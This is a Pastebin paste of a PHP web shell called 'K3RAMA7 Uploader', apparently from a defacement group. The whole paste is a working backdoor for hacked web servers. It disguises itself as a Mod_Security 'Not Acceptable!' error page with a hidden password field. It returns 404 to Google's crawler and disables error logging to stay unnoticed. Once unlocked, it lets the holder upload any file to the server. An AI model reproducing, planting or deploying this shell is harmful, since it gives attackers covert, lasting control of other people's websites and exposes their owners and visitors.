Advertisement
k3rama7

406 Not Acceptable Private Uploader

Dec 6th, 2014
645
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.46 KB | None | 0 0
  1. <?php
  2.   /*
  3.   Recoded by K3RAMA7
  4.   Black CyberSec Crew
  5.   www.fb.com/BlackCyberSec.Gov.My
  6.   */
  7. $auth_pass = "734fb012076861fa8d5af864ac1da63a"; //Black CyberSec Crew
  8. $color = "#00ff00";
  9. $default_action = 'FilesMan';
  10. @define('SELF_PATH', __FILE__);
  11. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  12.     header('HTTP/1.0 404 Not Found');
  13.     exit;
  14. }
  15. @session_start();
  16. @error_reporting(0);
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @set_time_limit(0);
  21. @set_magic_quotes_runtime(0);
  22. @define('VERSION', '2.1');
  23. if( get_magic_quotes_gpc() ) {
  24.     function stripslashes_array($array) {
  25.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  26.     }
  27.     $_POST = stripslashes_array($_POST);
  28. }
  29. function printLogin() {
  30.     ?>
  31. <title>Not Acceptable!</title>
  32. <h1>Not Acceptable!</h1>
  33. <p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p>
  34.  
  35.     <style>
  36.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  37.     </style>
  38.     <center>
  39.     <form method=post>
  40.     <input type=password name=pass>
  41.     </form></center>
  42.     <?php
  43.     exit;
  44. }
  45. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  46.     if( empty( $auth_pass ) ||
  47.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  48.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  49.     else
  50.         printLogin();
  51.  
  52. ?>
  53.   <html>
  54. <head>
  55.  
  56. <title>K3RAMA7 Uploader</title>
  57. <body bgcolor="black">
  58.     <center>
  59.     <img src="http://i1368.photobucket.com/albums/ag193/Keramat_Durjana/eef005ed-bca0-4c3d-9d45-cb7a7b2ffed4_zps9132fac1.jpg">
  60.     </center>
  61. </body>
  62. </head>  
  63.        <p align="center">
  64.            <font color="black">
  65.     <center> <?php
  66. echo '<font color="#11f0f3"><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"></font>';
  67. echo '<font color="#11f0f3"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></font>';
  68. if( $_POST['_upl'] == "Upload" ) {
  69.     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b><font face="Iceland" color="11f0f3" size="4px">File Uploaded!</font></b><br><br>'; }
  70.     else { echo '<b><font face="Iceland" color="11f0f3">File Upload Failed!</font></b><br><br>'; }
  71. }
  72. ?></br></br></hr>
  73. </center></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement